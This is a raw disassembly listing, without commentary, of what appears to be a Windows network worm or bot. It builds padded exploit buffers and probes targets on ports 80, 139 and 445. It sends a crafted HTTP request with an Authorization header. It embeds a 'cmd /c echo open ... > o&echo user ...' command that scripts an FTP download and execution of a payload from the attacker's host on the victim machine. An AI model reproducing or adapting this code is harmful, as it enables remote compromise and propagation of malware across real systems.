		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_20]
		call	sub_40CC68
		push	offset loc_4323B4
		lea	ecx, [ebp+var_50]
		call	sub_40CD16
		lea	ecx, [ebp+var_50]
		call	sub_40CC68
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40CB34
		lea	ecx, [ebp+var_58]
		call	sub_40CC68
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CD7F
		lea	ecx, [ebp+var_58]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CD16
		push	4
		push	offset dword_43203C
		lea	ecx, [ebp+var_18]
		call	sub_40CCE2
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CCE2
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_18]
		call	sub_40CC68
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CD33
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CD33
		lea	ecx, [ebp+var_40]
		call	sub_40CD43
		lea	ecx, [ebp+var_18]
		call	sub_40CBC3
		lea	ecx, [ebp+var_50]
		call	sub_40CBC3
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CD33
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CD33
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CD33
		lea	ecx, [ebp+var_38]
		call	sub_40CD43
		lea	ecx, [ebp+var_20]
		call	sub_40CBC3
		lea	ecx, [ebp+var_30]
		call	sub_40CBC3
		lea	ecx, [ebp+var_40]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_28]
		call	sub_40CC68
		push	2
		push	offset dword_4323A8
		lea	ecx, [ebp+var_28]
		call	sub_40CCE2
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CD33
		lea	ecx, [ebp+var_28]
		call	sub_40CD43
		lea	ecx, [ebp+var_38]
		call	sub_40CBC3
		lea	ecx, [ebp+var_10]
		call	sub_40CB2A
		lea	ecx, [ebp+var_8]
		call	sub_40CB2A
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_28]
		call	sub_40CBC3
		push	offset dword_4323A4
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	offset dword_4323A0
		lea	ecx, [ebp+var_10]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		push	offset dword_432394
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	(offset	loc_43238F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40D100
; ---------------------------------------------------------------------------


loc_40D0F2:				; CODE XREF: sub_40CD9E+1Bj
					; sub_40CD9E+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40D100:				; CODE XREF: sub_40CD9E+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CD9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D104	proc near		; CODE XREF: sub_40D1C8+A1p
					; sub_40D1C8+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40D16B
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40D16F


loc_40D16B:				; CODE XREF: sub_40D104+54j
		xor	eax, eax
		jmp	short loc_40D17F
; ---------------------------------------------------------------------------


loc_40D16F:				; CODE XREF: sub_40D104+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB9EC


loc_40D17F:				; CODE XREF: sub_40D104+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40D104	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D183	proc near		; CODE XREF: sub_40D1C8+81p
					; sub_40D1C8+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB9D0
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 4
		jz	short loc_40D1AD
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D1AD:				; CODE XREF: sub_40D183+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CBA24
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40D183	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1C8	proc near		; CODE XREF: sub_40D2A2+48p
					; ___:0040D716p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40D1F1
		xor	al, al
		jmp	loc_40D29D
; ---------------------------------------------------------------------------


loc_40D1F1:				; CODE XREF: sub_40D1C8+20j
		push	ebx
		push	0
		push	esi
		call	sub_41BF70
		push	2Fh
		push	offset dword_4320CC
		push	esi
		call	sub_41CD20
		push	8
		lea	eax, [esi+31h]
		push	offset dword_4320FC
		push	eax
		mov	[esi+2Fh], di
		call	sub_41CD20
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41CD20
		push	6
		add	ebx, edi
		push	offset dword_4CE6EC
		push	ebx
		call	sub_41CD20
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_432044
		push	ebx
		call	sub_40D183
		add	esp, 48h
		test	al, al
		jnz	short loc_40D259


loc_40D255:				; CODE XREF: sub_40D1C8+B5j
		xor	bl, bl
		jmp	short loc_40D294
; ---------------------------------------------------------------------------


loc_40D259:				; CODE XREF: sub_40D1C8+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40D183
		add	esp, 1Ch
		test	al, al
		jz	short loc_40D255
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		add	esp, 10h
		mov	bl, 1


loc_40D294:				; CODE XREF: sub_40D1C8+8Fj
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	al, bl


loc_40D29D:				; CODE XREF: sub_40D1C8+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D1C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2A2	proc near		; CODE XREF: ___:0040D6FCp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432108
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D2DD
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40D104
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D2DD
		cmp	[ebp+var_20], 82h
		jz	short loc_40D2E1


loc_40D2DD:				; CODE XREF: sub_40D2A2+1Bj
					; sub_40D2A2+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D2E1:				; CODE XREF: sub_40D2A2+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D1C8
		add	esp, 0Ch
		leave
		retn
sub_40D2A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2F4	proc near		; CODE XREF: sub_40D340+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427670
		call	sub_41D174
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427668
		fstp	[esp+10h+var_10]
		call	sub_41D055
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41D174
		inc	eax
		leave
		retn
sub_40D2F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D340	proc near		; CODE XREF: sub_40D4E2+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426AA7
		call	sub_41D640
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D977
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D2F4
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D382
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D8F2


loc_40D382:				; CODE XREF: sub_40D340+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D49F
		mov	ebx, [ebp+10h]


loc_40D391:				; CODE XREF: sub_40D340+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D39B
		push	3
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D39B:				; CODE XREF: sub_40D340+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D3A5
		push	2
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D3A5:				; CODE XREF: sub_40D340+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D3AE
		push	1


loc_40D3AD:				; CODE XREF: sub_40D340+59j
					; sub_40D340+63j
		pop	ebx


loc_40D3AE:				; CODE XREF: sub_40D340+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427680
		fstp	[esp+40h+var_40]
		call	sub_41D19B
		pop	ecx
		pop	ecx
		call	sub_41D174
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D3ED
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D3ED:				; CODE XREF: sub_40D340+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D45B
		add	[ebp-18h], eax


loc_40D43F:				; CODE XREF: sub_40D340+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_432154[eax]
		push	eax
		push	1
		call	sub_40D774
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D43F


loc_40D45B:				; CODE XREF: sub_40D340+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D479
		push	dword ptr [ebp+14h]
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D7CD
		mov	[ebp-18h], edi


loc_40D479:				; CODE XREF: sub_40D340+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D493
		sub	esi, [ebp-1Ch]


loc_40D484:				; CODE XREF: sub_40D340+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D774
		dec	esi
		jnz	short loc_40D484


loc_40D493:				; CODE XREF: sub_40D340+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D391
		push	1
		pop	ebx


loc_40D49F:				; CODE XREF: sub_40D340+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		push	dword_427678
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D824
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D340	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D4E2	proc near		; CODE XREF: ___:0040D6DFp
		mov	eax, offset loc_426AC4
		call	sub_41D640
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43DB88
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D340
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41BEB5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D52C
		xor	bl, bl
		jmp	short loc_40D570
; ---------------------------------------------------------------------------


loc_40D52C:				; CODE XREF: sub_40D4E2+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_427688
		cmp	ecx, ebx
		jnz	short loc_40D53A
		mov	ecx, eax


loc_40D53A:				; CODE XREF: sub_40D4E2+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D542
		mov	eax, [ebp+18h]


loc_40D542:				; CODE XREF: sub_40D4E2+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41C360
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, esi
		jz	short loc_40D567
		xor	bl, bl
		jmp	short loc_40D569
; ---------------------------------------------------------------------------


loc_40D567:				; CODE XREF: sub_40D4E2+7Fj
		mov	bl, 1


loc_40D569:				; CODE XREF: sub_40D4E2+83j
		push	edi
		call	sub_41BA91
		pop	ecx


loc_40D570:				; CODE XREF: sub_40D4E2+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D977
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D4E2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_432300
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB710
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41C360
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_432198
		push	eax
		call	sub_40CD9E
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D63B
		xor	eax, eax
		jmp	loc_40D767
; ---------------------------------------------------------------------------


loc_40D63B:				; CODE XREF: ___:0040D632j
		mov	[ebp-0Ch], esi


loc_40D63E:				; CODE XREF: ___:0040D73Ej
		test	esi, esi
		jnz	loc_40D744
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D72C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB9D4
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D721
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D6E9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D9B3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D4E2
		add	esp, 1Ch
		jmp	short loc_40D71E
; ---------------------------------------------------------------------------


loc_40D6E9:				; CODE XREF: ___:0040D6A7j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D703
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D2A2
		jmp	short loc_40D71B
; ---------------------------------------------------------------------------


loc_40D703:				; CODE XREF: ___:0040D6F3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D721
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D1C8


loc_40D71B:				; CODE XREF: ___:0040D701j
		add	esp, 0Ch


loc_40D71E:				; CODE XREF: ___:0040D6E7j
		movzx	esi, al


loc_40D721:				; CODE XREF: ___:0040D69Aj
					; ___:0040D70Dj
		push	ebx
		call	dword_4CBA6C
		test	esi, esi
		jnz	short loc_40D737


loc_40D72C:				; CODE XREF: ___:0040D657j
		push	3E8h
		nop
		call	near ptr 26A068Bh


loc_40D737:				; CODE XREF: ___:0040D72Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D63E


loc_40D744:				; CODE XREF: ___:0040D640j
		lea	ecx, [ebp-8]
		call	sub_40CBC3
		test	esi, esi
		jz	short loc_40D765
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40D765:				; CODE XREF: ___:0040D74Ej
		mov	eax, esi


loc_40D767:				; CODE XREF: ___:0040D636j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A88


loc_40D76C:				; CODE XREF: sub_426A88+3j
					; ___:00426AA1j ...
		push	1
		call	sub_40D977
		retn
; END OF FUNCTION CHUNK	FOR sub_426A88

; =============== S U B	R O U T	I N E =======================================



sub_40D774	proc near		; CODE XREF: sub_40D340+110p
					; sub_40D340+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D78E
		call	sub_42629A


loc_40D78E:				; CODE XREF: sub_40D774+13j
		test	ebx, ebx
		jbe	short loc_40D7C5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D7C5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41BF70
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D7C5:				; CODE XREF: sub_40D774+1Cj
					; sub_40D774+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D774	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D7CD	proc near		; CODE XREF: sub_40D340+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D7E7
		call	sub_42629A


loc_40D7E7:				; CODE XREF: sub_40D7CD+13j
		test	ebx, ebx
		jbe	short loc_40D81C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D81C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D81C:				; CODE XREF: sub_40D7CD+1Cj
					; sub_40D7CD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D7CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D824	proc near		; CODE XREF: sub_40D340+17Cp
					; sub_4261B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D83C
		call	sub_426173


loc_40D83C:				; CODE XREF: sub_40D824+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D84E
		mov	esi, [ebp+arg_8]


loc_40D84E:				; CODE XREF: sub_40D824+25j
		cmp	edi, ebx
		jnz	short loc_40D870
		push	dword_427678
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D9E8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D9E8
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D870:				; CODE XREF: sub_40D824+2Cj
		test	esi, esi
		jbe	short loc_40D8B3
		cmp	esi, eax
		jnz	short loc_40D8B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D884
		mov	eax, offset dword_427688


loc_40D884:				; CODE XREF: sub_40D824+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D8B3
		push	1
		mov	ecx, edi
		call	sub_40D977
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D89F
		mov	eax, offset dword_427688


loc_40D89F:				; CODE XREF: sub_40D824+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D8B3:				; CODE XREF: sub_40D824+4Ej
					; sub_40D824+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D8E9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D8CD
		mov	eax, offset dword_427688


loc_40D8CD:				; CODE XREF: sub_40D824+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41CD20
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D8E9:				; CODE XREF: sub_40D824+4Aj
					; sub_40D824+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D824	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8F2	proc near		; CODE XREF: sub_40D340+3Dp
					; sub_40D774+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D904
		call	sub_42629A


loc_40D904:				; CODE XREF: sub_40D8F2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D92D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D92D
		cmp	al, 0FFh
		jz	short loc_40D92D
		cmp	edi, edx
		jnz	short loc_40D968
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D922:				; CODE XREF: sub_40D8F2+47j
		mov	ecx, esi
		call	sub_40D977


loc_40D929:				; CODE XREF: sub_40D8F2+4Bj
					; sub_40D8F2+52j
		xor	al, al
		jmp	short loc_40D972
; ---------------------------------------------------------------------------


loc_40D92D:				; CODE XREF: sub_40D8F2+19j
					; sub_40D8F2+20j ...
		cmp	edi, edx
		jnz	short loc_40D946
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D93B
		push	1
		jmp	short loc_40D922
; ---------------------------------------------------------------------------


loc_40D93B:				; CODE XREF: sub_40D8F2+43j
		cmp	ecx, edx
		jz	short loc_40D929
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D929
; ---------------------------------------------------------------------------


loc_40D946:				; CODE XREF: sub_40D8F2+3Dj
